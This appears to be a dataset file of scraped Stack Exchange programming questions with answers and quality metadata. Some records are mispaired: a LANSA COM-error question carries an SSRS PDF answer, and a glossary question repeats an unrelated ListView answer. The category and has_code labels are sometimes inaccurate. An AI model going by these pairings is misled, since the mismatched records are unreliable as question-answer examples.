{"id": "hf_c8694008969b", "question": "<p>Is there a method for handling errors from COM objects in RDML? For instance, when calling Word VBA methods like <code>PasteSpecial</code>, an error is returned and the LANSA application crashes. I cannot find anything in the documentation to allow handling of these errors.</p>\n\n<p>Actually, error handling in general is a weak-point for LANSA and RDML, but that's another topic.</p>\n", "question_body": "", "answer": "Does anyone know of anyway to\n  reduce/optimize the PDF export phase\n  and or the size of the PDF without\n  lowering the total page count?\nI have a few ideas and questions:\n1. Is this a graphics-heavy report?  If not, do you have tables that start out as text but are converted into a graphic by the SSRS PDF renderer (check if you can select the text in the PDF)?  41K per page might be more than it should be, or it might not, depending on how information-dense your report is.  But we've had cases where we had minor issues with a report's layout, like having a table bleed into the page's margins, that resulted in the SSRS PDF renderer \"throwing up its hands\" and rendering the table as an image instead of as text.  Obviously, the fewer graphics in your report, the smaller your file size will be.\n2. Is there a way that you could easily break the report into pieces?  E.g., if it's a 10-location report, where Location 1 is followed by Location 2, etc., on your final report, could you run the Location 1 portion independent of the Location 2 portion, etc.?  If so, you could join the 10 sub-reports into one final PDF using\nPDFSharp\nafter you've received them all.  This leads to some difficulties with page numbering, but nothing insurmountable.\n3. Does anyone else have any other\n  theories as to why this runs on the\n  server but not through the API?\nMy guess would be the sheer size of the report.  I don't remember everything about what's an IIS setting and what's SSRS-specific, but there might be some overall IIS settings (maybe in Metabase.xml) that you would have to be updated to even allow that much data to pass through.\nYou could isolate the question of whether the time is the problem by taking one of your working reports and building in a long wait time in your stored procedures with WAITFOR (assuming SQL Server for your DBMS).\nNot solutions, per se, but ideas.  Hope it helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.350721"}
{"id": "hf_fe9b69f337eb", "question": "<p>I'm looking at adding scripting functionality to an existing codebase and am weighing up the pros/cons of various packages. Lua is probably the most obvious choice, but I was wondering if people have any other suggestions based on their experience.</p>\n\n<p>Scripts will be triggered upon certain events and may stay resident for a period of time. For example upon startup a script may define several options which the program presents to the user as a number of buttons. Upon selecting one of these buttons the program will notify the script where further events may occur.</p>\n\n<p>These are the only real requirements;</p>\n\n<ol>\n<li>Must be a cross-platform library that is compilable from source</li>\n<li>Scripts must be able to call registered code-side functions</li>\n<li>Code must be able to call script-side functions</li>\n<li>Be used within a C/C++ codebase.</li>\n</ol>\n", "question_body": "", "answer": "I have played around a little bit with\nSpidermonkey\n. It seems like it would at least be worth a look at in your situation. I have heard good things about Lua as well. The big argument for using a javascript scripting language is that a lot of developers know it already and would probably be more comfortable from the get go, whereas Lua most likely would have a bit of a learning curve.\nI'm not completely positive but I think that spidermonkey your 4 requirements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.399115"}
{"id": "hf_552fa1ff0bf6", "question": "<p>My company has tried to adopt the scrum methodology with mixed success.  Theses are some areas where we've had issues.  How do you handle these? </p>\n\n<ol>\n<li>Tracking requirements from\nProduct Marketing through to product.  We're trying out JIRA to track all requirements individually and assigning a release to each one as it is picked for implementation.</li>\n<li>Who creates stories? Product\nManagement who doesn't know enough\nto create effectively small stories,\ndevelopers who may not have domain\nknowledge, an analyst in between?</li>\n<li>Functional specs\n\n<ol>\n<li>do you write them or just try to get them into a story\ndefinition?</li>\n<li>Do you write functional\nspecs per story?  Per feature?</li>\n<li>How do you see the relationship between functional specs and stories?</li>\n</ol></li>\n<li>answering the question from people\nwith VP in their title \"what are we\ngoing to get by [8 months from\nnow]?\"</li>\n</ol>\n", "question_body": "", "answer": "You should translate your requirements into a Product Backlog. This backlog is what you use to decide what Sprint Backlog items are chosen for each Sprint iteration. Management decides what is on the Product Backlog, but the team needs to agree to what they can produce in the Sprint (this is a negotiation that occurs at every sprint).\nYour Product Owner (usually a product manager) drives the creation of the stories. The Stories are simple (as a system admin, I need to be able to add a user). If your product management does not understand your product, you are in trouble.\nAgile is about designing as required. The design is never in the story. The spec can be per story, or per feature. You could design all your CRUD inside of one spec, which covers multiple stories.\nThe Product Owner gets a product demo at the end of every Sprint. So value is demonstrated at every cycle. So your VP would get reports on a monthly basis (ususally 3 weeks of dev + 1 week to prepare for the Sprint demo).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.421744"}
{"id": "hf_6de5a4d4a5f6", "question": "<p>I'm creating a plugin framework, where my application loads a series of plugin DLL's, then creates a new window and pass this new window's handle to the plugin. The plugin can, then, use this handle to create their own GUI.</p>\n\n<p>Everything seems to be working very well. The only problem is that when I press TAB on a plugin widget (An editbox, for example), it doen't jump to another widget. I figured out that some Windows messages are passed, and some others aren't. The WM_KEYDOWN is passed for other keys, because I can type on the editbox, but this message doesn't handle TAB key.</p>\n\n<p>Hope somebody has a hint.</p>\n\n<p>I'm using Borland VCL with CBuilder, but I think I could use any framework under WIN32 to create these plugins, since they never know how their parent windows were created.</p>\n", "question_body": "", "answer": "I believe you'll have to take the following steps:\nSubclass\nyour edit controls (and other controls as needed).\nCapture the\nWM_KEYDOWN\nmessage in your edit control's WndProc.\nCheck to see if the shift key is currently held down (using\nGetKeyState\nor similar).\nCall\nGetWindow\n, passing in a handle to your edit control and either GW_HWNDPREV or GW_HWNDNEXT depending on whether shift is held down. This will give you the handle to the window that should receive focus.\nCall\nSetFocus\nand pass in the window handle you got in step 4.\nMake sure you handle the case where your edit controls are multiline, as you might want to have a real tab character appear instead of moving to the next control.\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.494446"}
{"id": "hf_b10384aafdd4", "question": "<p>An <a href=\"https://stackoverflow.com/questions/15241/does-anyone-have-any-real-world-experience-of-csla#15357\">answer</a> to a Stack Overflow question stated that a particular framework violated a plain and simple OOP rule: Single Responsibility Principle (SRP).</p>\n\n<p><strong>Is the Single Responsibility Principle <em>really</em> a rule of OOP?</strong></p>\n\n<p>My understanding of the definition of Object Orientated Programming is \"a paradigm where objects and their behaviour are used to create software\". This includes the following techniques: Encapsulation, Polymorphism &amp; Inheritance.</p>\n\n<p>Now don't get me wrong - I believe SRP to be the key to most good OO designs, but I feel there are cases where this principle can and should be broken (just like database normalization rules). I aggressively push the benefits of SRP, and the great majority of my code follows this principle. </p>\n\n<p><em>But, is it a rule, and thus implies that it shouldn't be broken?</em></p>\n", "question_body": "", "answer": "Very few rules, if any, in software development are without exception. Some people think there are no place for\ngoto\nbut they're wrong.\nAs far as OOP goes, there isn't a single definition of object-orientedness so depending on who you ask you'll get a different set of hard and soft principles, patterns, and practices.\nThe classic idea of OOP is that messages are sent to otherwise opaque objects and the objects interpret the message with knowledge of their own innards and then perform a function of some sort.\nSRP is a software engineering principle that can apply to the role of a class, or a function, or a module. It contributes to the cohesion of something so that it behaves well put together without unrelated bits hanging off of it or having multiple roles that intertwine and complicate things.\nEven with just one responsibilty, that can still range from a single function to a group of loosely related functions that are part of a common theme. As long as you're avoiding jury-rigging an element to take the responsibilty of something it wasn't primarily designed for or doing some other ad-hoc thing that dilute the simplicity of an object, then violate whatever principle you want.\nBut I find that it's easier to get SRP correct then to do something more elaborate that is just as robust.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.531554"}
{"id": "hf_3796a1c1928b", "question": "<p>I know this site is written using ASP.Net MVC and I do not see \"/Home\" in the url.  This proves to me that it can be done.  What special route and do I need?</p>\n", "question_body": "", "answer": "Just change \"Home\" to an empty string.\n```\n```\nroutes.MapRoute(\n    \"Home\",\n    \"\",\n    new { action = Index, controller = Home }\n);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.583746"}
{"id": "hf_765c026d916a", "question": "<p>Sometimes a labeled break or continue can make code a lot more readable. </p>\n\n<pre><code>OUTERLOOP: for ( ;/*stuff*/; ) {\n    //...lots of code\n\n    if ( isEnough() ) break OUTERLOOP;\n    //...more code\n}\n</code></pre>\n\n<p>I was wondering what the common convention for the labels was. All caps? first cap? </p>\n", "question_body": "", "answer": "The convention is to avoid labels altogether.\nThere are very, very few valid reasons to use a label for breaking out of a loop. Breaking out is ok, but you can remove the need to break at all by modifying your design a little. In the example you have given, you would extract the 'Lots of code' sections and put them in individual methods with meaningful names.\n```\n```\nfor ( ;/*stuff*/; ) \n{\n    lotsOfCode();\n\n    if ( !isEnough() )\n    {\n        moreCode();\n    }\n}\n```\n```\nEdit:\nhaving seen the actual code in question (\nover here\n), I think the use of labels is probably the best way to make the code readable. In most cases using labels is the wrong approach, in this instance, I think it is fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.620825"}
{"id": "hf_e3b1274b4195", "question": "<p>I've been tasked with <em>improving the performance of an ASP.NET 2.0 application</em>.<br>  The page I'm currently focused on has many problems but one that I'm having trouble digging into is the render time of the page.  Using Trace.axd the duration between Begin Render and End Render is 1.4 seconds.  From MSDN I see that</p>\n\n<blockquote>\n  <p>All ASP.NET Web server controls have a\n  Render method that writes out the\n  control's markup that is sent to the\n  browser.</p>\n</blockquote>\n\n<p>If I had the source code for all the controls on the page, I would just instrument them to trace out their render time.  Unfortunately, this particular page has lots of controls, most of them third-party.  Is there tool or technique to get better visibility into what is going on during the render?  I would like to know if there is a particularly poorly performing control, or if there are simply too many controls on the page.</p>\n", "question_body": "", "answer": "```\n```\n<%@Page Trace=\"true\" %>\n```\n```\nSee\nhttp://www.asp101.com/articles/robert/tracing/default.asp\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.670726"}
{"id": "hf_f415cb42a5cb", "question": "<p>If I press <kbd>Ctrl</kbd>+<kbd>B</kbd> that ought to give me ASCII code 2, but <kbd>Ctrl</kbd>+<kbd>C</kbd> is going to be interpreted as a Break.</p>\n\n<p>So I figure I've got to redirect a file in.  How do I get these characters into a file?</p>\n", "question_body": "", "answer": "```\n```\nperl -e 'print \"\\xFF\"'\n```\n```\nwhere\n```\nFF\n```\nis the hex code of the ACSII code you want to print. So for ACSII code 2, it would be \\x02.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.704962"}
{"id": "hf_c011275c6089", "question": "<p>I'm not sure how this question will be recieved here but lets give it a shot...</p>\n\n<p>It's time for me to get a new dev PC. What's the best choice these days?</p>\n\n<p>I typically have 2-3 Visual Studios open along with mail and all that stuff. Ideally I would imagine 2+ GB of RAM would be nice as my current XP box is dying. =)</p>\n\n<p>I hopped on the Dell site (my days of building PC's are behind me. I just need something that gets the job done.) and started browsing around only to be confused from all the processor choices. What does a typical dev box need these days? Duo? Quad?</p>\n\n<p>Is it worth going to 64 bit Vista as well?</p>\n\n<p>It's been a while since I got a new machine so I'm just looking for some guidance.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "People are probably going to yell at me...but I've found that Vista 64 is mostly worth it.  The main reason for me though is that I'm always maxing out my memory and having a 64bit OS allows me to go past the <4GB limit of 32bit.\nBut even if you don't get 64bit, just buy 2 2GB RAM cards anyways....you will be able to use most of it (my system shows 3.5GB on 32bit) and then you've got it for if you upgrade later and (if your system has 4 slots) you'll have room to expand to 8GB later on....", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.729179"}
{"id": "hf_6247c70b2fbd", "question": "<p>I understand what <a href=\"http://msdn.microsoft.com/en-us/library/ms404247.aspx\" rel=\"noreferrer\">System.WeakReference</a> does, but what I can't seem to grasp is a practical example of what it might be useful for. The class itself seems to me to be, well, a hack.  It seems to me that there are other, better means of solving a problem where a WeakReference is used in examples I've seen.  What's the canonical example of where you've really got to use a WeakReference?  Aren't we trying to get <i>farther</i> away from this type of behavior and use of this class?  </p>\n", "question_body": "", "answer": "I use it to implement a cache where unused entries are automatically garbage collected:\n```\n```\nclass Cache<TKey,TValue> : IEnumerable<KeyValuePair<TKey,TValue>>\n{ Dictionary<TKey,WeakReference> dict = new Dictionary<TKey,WeakReference>();\n\n   public TValue this[TKey key]\n    { get {lock(dict){ return getInternal(key);}}\n      set {lock(dict){ setInteral(key,value);}}     \n    }\n\n   void setInteral(TKey key, TValue val)\n    { if (dict.ContainsKey(key)) dict[key].Target = val;\n      else dict.Add(key,new WeakReference(val));\n    } \n\n   public void Clear() { dict.Clear(); }\n\n   /// <summary>Removes any dead weak references</summary>\n   /// <returns>The number of cleaned-up weak references</returns>\n   public int CleanUp()\n    { List<TKey> toRemove = new List<TKey>(dict.Count);\n      foreach(KeyValuePair<TKey,WeakReference> kv in dict)\n       { if (!kv.Value.IsAlive) toRemove.Add(kv.Key);\n       }\n\n      foreach (TKey k in toRemove) dict.Remove(k);\n      return toRemove.Count;\n    }\n\n    public bool Contains(string key) \n     { lock (dict) { return containsInternal(key); }\n     }\n\n     bool containsInternal(TKey key)\n      { return (dict.ContainsKey(key) && dict[key].IsAlive);\n      }\n\n     public bool Exists(Predicate<TValue> match) \n      { if (match==null) throw new ArgumentNullException(\"match\");\n\n        lock (dict)\n         { foreach (WeakReference weakref in dict.Values) \n            { if (   weakref.IsAlive \n                  && match((TValue) weakref.Target)) return true;\n         }  \n      }\n\n       return false;\n     }\n\n    /* ... */\n   }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.763500"}
{"id": "hf_ffee6e2f12cf", "question": "<p>I have a few C# <code>.dll</code> projects which are common to many applications.  Currently, I have one big repository. I have each DLL stored as a separate project within the repository and every application project stored as a project within the same repository.</p>\n\n<p>I recently switched to Subversion for source control and I fear that I did not do a good job of structuring the repository. I would like to hear what others are doing.</p>\n", "question_body": "", "answer": "Subversion repositories are typical sub-divided into:\n```\n```\nbranch/\ntags/\ntrunk/\n```\n```\nYou would either place all of your DLL and application projects into the\ntrunk\nand then use\nbranch\nand\ntags\nfor all of them as necessary too:\n```\n```\nbranch/\ntags/\ntrunk/\n    project1/\n    project2/\n```\n```\nAlternatively, you could create folders for each project in the root and then place the common branch, tags and trunk folders within them.\n```\n```\nproject1/\n    branch/\n    tags/\n    trunk/\n\nproject2/\n    branch/\n    tags/\n    trunk/\n```\n```\nNote that this practice is simply convention and nothing in SVN requires (or really promotes) doing it exactly this way. However, everyone is used to it. So, you would be doing people a favor to go along.\nTo elaborate further, the\ntrunk\nis where your main development will take place. When you want to mark a particular revision (e.g. a release version), then simply\nsvn\ncopy\nthe project into the tags directory. Also, just copy code into the\nbranch\ndirectory when you want to do something dramatic or prolonged and don't want to hinder progress in the\ntrunk\n. Later you can\nsvn\nmerge\nyour\nbranch\nback into the\ntrunk\nwhen it is ready for action!\nIf you want to correct mishaps in your current Subverion repository, then just use\nsvn\nmove\nto relocate them. Unlike the delete and add process of\nCVS\n, move will retain version history for the new location.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.786270"}
{"id": "hf_f85a641cc013", "question": "<p>I have a solution with several projects, where the startup project has a post-build event that does all the copying of \"plugin\" projects and other organizing tasks. After upgrading the solution from VS 2005 to VS 2008, it appears as though the post-build event only fires if I modify the startup project, which means my updated plugins don't get plugged in to the current debugging session. This makes sense, but it seems like a change in behavior. Is anyone else noticing a change in behavior with regard to which projects get built?</p>\n\n<p>Does anyone know of a workaround that I can use to force the startup project to rebuild whenever I hit F5? Perhaps I configured VS 2005 to work this way so long ago that I've forgotten all about it ...</p>\n", "question_body": "", "answer": "I don't know if this is the right way to do it but you could add a prebuild event to your startup projcet (if it's static) to clean the project which will force a rebuild.\nsomething like:\n```\n```\ndevenv project.csproj /clean\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.870734"}
{"id": "hf_fbc21d2eb086", "question": "<p>I have created a UserControl that has a <code>ListView</code> in it. The ListView is publicly accessible though a property. When I put the UserControl in a form and try to design the <code>ListView</code> though the property, the <code>ListView</code> stays that way until I compile again and it reverts back to the default state. </p>\n\n<p>How do I get my design changes to stick for the <code>ListView</code>?</p>\n", "question_body": "", "answer": "Just so I'm clear, you've done something like this, right?\n```\n```\npublic ListView MyListView { get { return this.listView1; } }\n```\n```\nSo then you are accessing (at design time) the MyListView property on your UserControl?\nI think if you want proper design-time support you're better off changing the \"Modifier\" property on the ListView itself (back on the original UserControl) to Public - that way you can modify the ListView directly on instances of the UserControl. I've had success doing that anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:46.994393"}
{"id": "hf_4ae73d1e1651", "question": "<p>As I browse through the site, I find a lot of terms that many developers just starting out (and even some advanced developers) may be unfamiliar with.</p>\n\n<p>It would be great if people could post here with a term and definition that might be unknown to beginners or those from different programming backgrounds. </p>\n\n<p>Some not-so-common terms I've seen are 'auto boxing', 'tuples', 'orthogonal code', 'domain driven design', 'test driven development', etc.</p>\n\n<p>Code snippets would also be helpful where applicable..</p>\n", "question_body": "", "answer": "Just so I'm clear, you've done something like this, right?\n```\n```\npublic ListView MyListView { get { return this.listView1; } }\n```\n```\nSo then you are accessing (at design time) the MyListView property on your UserControl?\nI think if you want proper design-time support you're better off changing the \"Modifier\" property on the ListView itself (back on the original UserControl) to Public - that way you can modify the ListView directly on instances of the UserControl. I've had success doing that anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.016727"}
{"id": "hf_bceb69a06ebe", "question": "<p>I'm generating some xml files that needs to conform to an xsd file that was given to me.  How should I verify they conform?</p>\n", "question_body": "", "answer": "Here's how to do it using\nXerces2\n. A tutorial for this,\nhere\n(req. signup).\nOriginal attribution: blatantly copied from\nhere\n:\n```\n```\nimport org.apache.xerces.parsers.DOMParser;\nimport java.io.File;\nimport org.w3c.dom.Document;\n\npublic class SchemaTest {\n  public static void main (String args[]) {\n      File docFile = new File(\"memory.xml\");\n      try {\n        DOMParser parser = new DOMParser();\n        parser.setFeature(\"http://xml.org/sax/features/validation\", true);\n        parser.setProperty(\n             \"http://apache.org/xml/properties/schema/external-noNamespaceSchemaLocation\", \n             \"memory.xsd\");\n        ErrorChecker errors = new ErrorChecker();\n        parser.setErrorHandler(errors);\n        parser.parse(\"memory.xml\");\n     } catch (Exception e) {\n        System.out.print(\"Problem parsing the file.\");\n     }\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.052817"}
{"id": "hf_ca11651ce290", "question": "<p>I know that there is no official API for Google Analytics but is there a way to access Google Analytics Reports with C#?</p>\n", "question_body": "", "answer": "This guy\nhas had some success with at least some light Analytics integration.  Now I realize this isn't exactly what you're looking for, but he does mention a book and perhaps you can get in touch with him.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.075261"}
{"id": "hf_339ac8d08a54", "question": "<p>I'm wondering about instances when it makes sent to use #define and #if statements. I've known about it for a while, but never incorporated it into my way of coding. How exactly does this affect the compilation?</p>\n\n<blockquote>\n  <p>Is #define the only thing that determines if the code is included when compiled? If I have #define DEBUGme as a custom symbol, the only way to exclude it from compile is to remove this #define statement?</p>\n</blockquote>\n", "question_body": "", "answer": "Well, defines are used often for compile time constants and macros.  This can make your code a bit faster as there are really no function calls, the output values of the macros are determined at compile time.  The #if's are very useful.  The most simple example that I can think of is checking for a debug build to add in some extra logging or messaging, maybe even some debugging functions.  You can also check different environment variables this way.\nOthers with more C/C++ experience can add more I am sure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.097568"}
{"id": "hf_0296ef14a92f", "question": "<p>I need to validate an XML string (and not a file)\nagainst a DTD description file. </p>\n\n<p>How can that be done in <code>python</code>?</p>\n", "question_body": "", "answer": "Another good option is\nlxml's validation\nwhich I find quite pleasant to use.\nA simple example taken from the lxml site:\n```\n```\nfrom StringIO import StringIO\n\nfrom lxml import etree\n\ndtd = etree.DTD(StringIO(\"\"\"<!ELEMENT foo EMPTY>\"\"\"))\nroot = etree.XML(\"<foo/>\")\nprint(dtd.validate(root))\n# True\n\nroot = etree.XML(\"<foo>bar</foo>\")\nprint(dtd.validate(root))\n# False\nprint(dtd.error_log.filter_from_errors())\n# <string>:1:0:ERROR:VALID:DTD_NOT_EMPTY: Element foo was declared EMPTY this one has content\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.145913"}
{"id": "hf_00a0d503aa35", "question": "<p>I use VNC to connect to a Linux workstation at work.  At work I have a 20\" monitor that runs at 1600x1200, while at home I use my laptop with its resolution of 1440x900.\nIf I set the vncserver to run at 1440x900 I miss out on a lot of space on my monitor, whereas if I set it to run at 1600x1200 it doesn't fit on the laptop's screen, and I have to scroll it all the time.</p>\n\n<p>Is there any good way to resize a VNC session on the fly?</p>\n\n<p>My VNC server is RealVNC E4.x (I don't remember the exact version) running on SuSE64.</p>\n", "question_body": "", "answer": "As far as I know there's no way to change the client's resolution just using VNC, as it is just a \"monitor mirroring\" application.\nTightVNC\nhowever (which is a VNC client and server application) can resize the screen on the client side, i.e. making everything a little smaller (similar to image resizing techniques in graphics programs). That should work if you don't use too small font sizes. VNC should theoretically be compatible between different VNC applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.181969"}
{"id": "hf_fb926677c520", "question": "<p>I work on a complex application where different teams work on their own modules with a degree of overlap. A while back we got a Mediawiki instance set up, partly at my prompting. I have a hard job getting people to actually use it, let alone contribute.</p>\n\n<p>I can see a lot of benefit in sharing information. It may at least reduce the times we reinvent the wheel.</p>\n\n<p>The wiki is not very structured, but I'm not sure that is a problem as long as you can search for what you need.</p>\n\n<p>Any hints?</p>\n", "question_body": "", "answer": "Sell the idea of using the wiki to the developers. You've identified some benefits, share those with the developers. If they can see that they'll get something of value out of it they'll start using it.\nExample advantages from\nWhat Is a Wiki\nGood for writing down quick ideas or longer ones, giving you more time for formal writing and editing.\nInstantly collaborative without emailing documents, keeping the group in sync.\nAccessible from anywhere with a web connection (if you don't mind writing in web-browser text forms).\nYour archive, because every page revision is kept.\nExciting, immediate, and empowering--everyone has a say.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.252424"}
{"id": "hf_505da3fc3e61", "question": "<p>I'm using NHibernate on a project and I need to do data auditing.  I found <a href=\"http://www.codeproject.com/KB/cs/NHibernate_IInterceptor.aspx\" rel=\"nofollow noreferrer\">this article</a> on codeproject which discusses the IInterceptor interface.</p>\n\n<p>What is your preferred way of auditing data?  Do you use database triggers?  Do you use something similar to what's dicussed in the article?</p>\n", "question_body": "", "answer": "I prefer the CodeProject approach you mentioned.\nOne problem with database triggers is that it leaves you no choice but to use Integrated Security coupled with ActiveDirectory as access to your SQL Server. The reason for that is that your connection should inherit the identity of the user who triggered the connection; if your application uses a named \"sa\" account or other user accounts, the \"user\" field will only reflect \"sa\".\nThis can be overriden by creating a named SQL Server account for each and every user of the application, but this will be impractical for non-intranet, public facing web applications, for example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.323329"}
{"id": "hf_bc435e547a83", "question": "<p>How can a <code>sdbm</code> hash function (such as <a href=\"http://www.cse.yorku.ca/~oz/hash.html\" rel=\"nofollow noreferrer\">this</a>) be implemented in C# ?</p>\n", "question_body": "", "answer": "You can take the C code almost without changes:\n```\n```\nuint sdbm( string str )\n{\n    uint hash = 0;\n    foreach( char ch in str )\n    {\n        hash = ch + (hash << 6) + (hash << 16) - hash;\n    }\n    return hash;\n}\n```\n```\nOr did you think of something more sophisticated?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.364414"}
{"id": "hf_0b192cde1de8", "question": "<p>I use solr to search for documents and when trying to search for documents using this query \"<code>id:*</code>\", I get this query parser exception telling that it cannot parse the query with * or ? as the first character. </p>\n\n<pre><code>HTTP Status 400 - org.apache.lucene.queryParser.ParseException: Cannot parse 'id:*': '*' or '?' not allowed as first character in WildcardQuery\n\ntype Status report\n\nmessage org.apache.lucene.queryParser.ParseException: Cannot parse 'id:*': '*' or '?' not allowed as first character in WildcardQuery\n\ndescription The request sent by the client was syntactically incorrect (org.apache.lucene.queryParser.ParseException: Cannot parse 'id:*': '*' or '?' not allowed as first character in WildcardQuery).\n</code></pre>\n\n<p>Is there any patch for getting this to work with just * ? Or is it very costly to do such a query?</p>\n", "question_body": "", "answer": "I'm assuming with id:* you're just trying to match all documents, right?\nI've never used solr before, but in my Lucene experience, when ingesting data, we've added a hidden field to every document, then when we need to return every record we do a search for the string constant in that field that's the same for every record.\nIf you can't add a field like that in your situation, you could use a RegexQuery with a regex that would match anything that could be found in the id field.\nEdit: actually answering the question.  I've never heard of a patch to get that to work, but I would be surprised if it could even be made to work reasonably well.  See\nthis question\nfor a reason why unconstrained PrefixQuery's can cause a problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.388175"}
{"id": "hf_cd592600a869", "question": "<p>Does anyone here have any useful code which uses reduce() function in python? Is there any code other than the usual + and * that we see in the examples?</p>\n\n<p>Refer <a href=\"http://www.artima.com/weblogs/viewpost.jsp?thread=98196\" rel=\"noreferrer\">Fate of reduce() in Python 3000</a> by GvR</p>\n", "question_body": "", "answer": "Not sure if this is what you are after but you can\nsearch source code on Google\n.\nFollow the link for a search on\n'function:reduce() lang:python'\non Google Code search\nAt first glance the following projects use\n```\nreduce()\n```\nMoinMoin\nZope\nNumeric\nScientificPython\netc. etc. but then these are hardly surprising since they are huge projects.\nThe functionality of reduce can be done using function recursion which I guess Guido thought was more explicit.\nUpdate:\nSince Google's Code Search was discontinued on 15-Jan-2012, besides reverting to regular Google searches, there's something called\nCode Snippets Collection\nthat looks promising. A number of other resources are mentioned in answers this (closed) question\nReplacement for Google Code Search?\n.\nUpdate 2 (29-May-2017):\nA good source for Python examples (in open-source code) is the\nNullege search engine\n.", "tags": [], "source": "huggingface", 